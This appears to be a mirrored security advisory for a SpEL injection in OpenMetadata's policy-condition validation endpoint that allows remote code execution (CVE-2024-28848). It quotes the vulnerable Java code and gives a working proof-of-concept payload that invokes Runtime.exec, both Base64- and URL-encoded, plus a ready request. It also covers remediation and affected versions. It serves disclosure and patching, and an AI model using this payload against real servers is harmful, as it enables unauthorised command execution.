OpenMetadata vulnerable to a SpEL Injection in `GET /api/v1/policies/validation/condition/<expr>` (`GHSL-2023-236`)
SpEL Injection in GET /api/v1/policies/validation/condition/<expr> (GHSL-2023-236)
Please note, only authenticated users have access to PUT / POST APIS for /api/v1/policies. Non authenticated users will not be able to access these APIs to exploit the vulnerability. A user must exist in OpenMetadata and have authenticated themselves to exploit this vulnerability.
The CompiledRule::validateExpression method evaluates an SpEL expression using an StandardEvaluationContext, allowing the expression to reach and interact with Java classes such as java.lang.Runtime, leading to Remote Code Execution. The /api/v1/policies/validation/condition/<expression> endpoint passes user-controlled data CompiledRule::validateExpession allowing authenticated (non-admin) users to execute arbitrary system commands on the underlaying operating system.
Snippet from PolicyResource.java
@GET
@Path("/validation/condition/{expression}")
@Operation(
operationId = "validateCondition",
summary = "Validate a given condition",
description = "Validate a given condition expression used in authoring rules.",
responses = {
@ApiResponse(responseCode = "204", description = "No value is returned"),
@ApiResponse(responseCode = "400", description = "Invalid expression")
})
public void validateCondition(
@Context UriInfo uriInfo,
@Context SecurityContext securityContext,
@Parameter(description = "Expression of validating rule", schema = @Schema(type = "string"))
@PathParam("expression")
String expression) {
CompiledRule.validateExpression(expression, Boolean.class);
}
public static <T> void validateExpression(String condition, Class<T> clz) {
if (condition == null) {
return;
}
Expression expression = parseExpression(condition);
RuleEvaluator ruleEvaluator = new RuleEvaluator();
StandardEvaluationContext evaluationContext = new StandardEvaluationContext(ruleEvaluator);
try {
expression.getValue(evaluationContext, clz);
} catch (Exception exception) {
// Remove unnecessary class details in the exception message
String message = exception.getMessage().replaceAll("on type .*$", "").replaceAll("on object .*$", "");
throw new IllegalArgumentException(CatalogExceptionMessage.failedToEvaluate(message));
}
}
In addition, there is a missing authorization check since Authorizer.authorize() is never called in the affected path and therefore any authenticated non-admin user is able to trigger this endpoint and evaluate arbitrary SpEL expressions leading to arbitrary command execution.
This vulnerability was discovered with the help of CodeQL's Expression language injection (Spring) query.
Proof of concept
- Prepare the payload
- Encode
touch /tmp/pwnedin Base64 =>dG91Y2ggL3RtcC9wd25lZA== - SpEL expression to run system command:
T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA=="))) - Encode the payload using URL encoding:
- Encode
%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%64%47%39%31%59%32%67%67%4c%33%52%74%63%43%39%77%64%32%35%6c%5a%41%3d%3d%22%29%29%29
- Send the payload using a valid JWT token:
GET /api/v1/policies/validation/condition/%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%62%6e%4e%73%62%32%39%72%64%58%41%67%61%58%70%73%4e%7a%45%33%62%33%42%69%62%57%52%79%5a%57%46%6f%61%33%4a%6f%63%44%4e%72%63%32%70%72%61%47%4a%75%4d%6d%4a%7a%65%6d%67%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%3d%22%29%29%29 HTTP/2
Host: sandbox.open-metadata.org
Authorization: Bearer <non-admin JWT>
- Verify that a file called
/tmp/pwnedwas created in the OpenMetadata server
Impact
This issue may lead to Remote Code Execution by a registered and authenticated user.
Remediation
Use SimpleEvaluationContext to exclude references to Java types, constructors, and bean references.
Software afectado
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| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Java / Kotlin (Maven) | org.open-metadata:openmetadata-service | < 1.2.4 | 1.2.4 |
Referencias
- https://github.com/open-metadata/OpenMetadata/security/advisories/GHSA-5xv3-fm7g-865r
- https://nvd.nist.gov/vuln/detail/CVE-2024-28848
- https://codeql.github.com/codeql-query-help/java/java-spel-expression-injection
- https://github.com/open-metadata/OpenMetadata
- https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/security/policyevaluator/CompiledRule.java#L51
- https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/security/policyevaluator/CompiledRule.java#L57
- https://securitylab.github.com/advisories/GHSL-2023-235_GHSL-2023-237_Open_Metadata
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H- Debilidad (CWE)
CWE-94- Plataforma
- Java / Kotlin (Maven)
- Paquete
org.open-metadata:openmetadata-service- Publicada
- 24.04.2024
- Actualizado
- 11.10.2026 13:19
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-5xv3-fm7g-865r - CC BY 4.0
Historial de vulnerabilidades: org.open-metadata:openmetadata-service
Todas las vulnerabilidades publicadas de este paquete (Java / Kotlin (Maven)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 5
- Primera → última
- 04.2024 05.2026
- Sin corrección
- 1
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 1
- Alta 4
Divulgaciones por año
- 2024: 3
- 2025: 1
- 2026: 1
-
OpenMetadata vulnerable to a SpEL Injection in `GET /api/v1/policies/validation/condition/<expr>` (`GHSL-2023-236`) esta entrada
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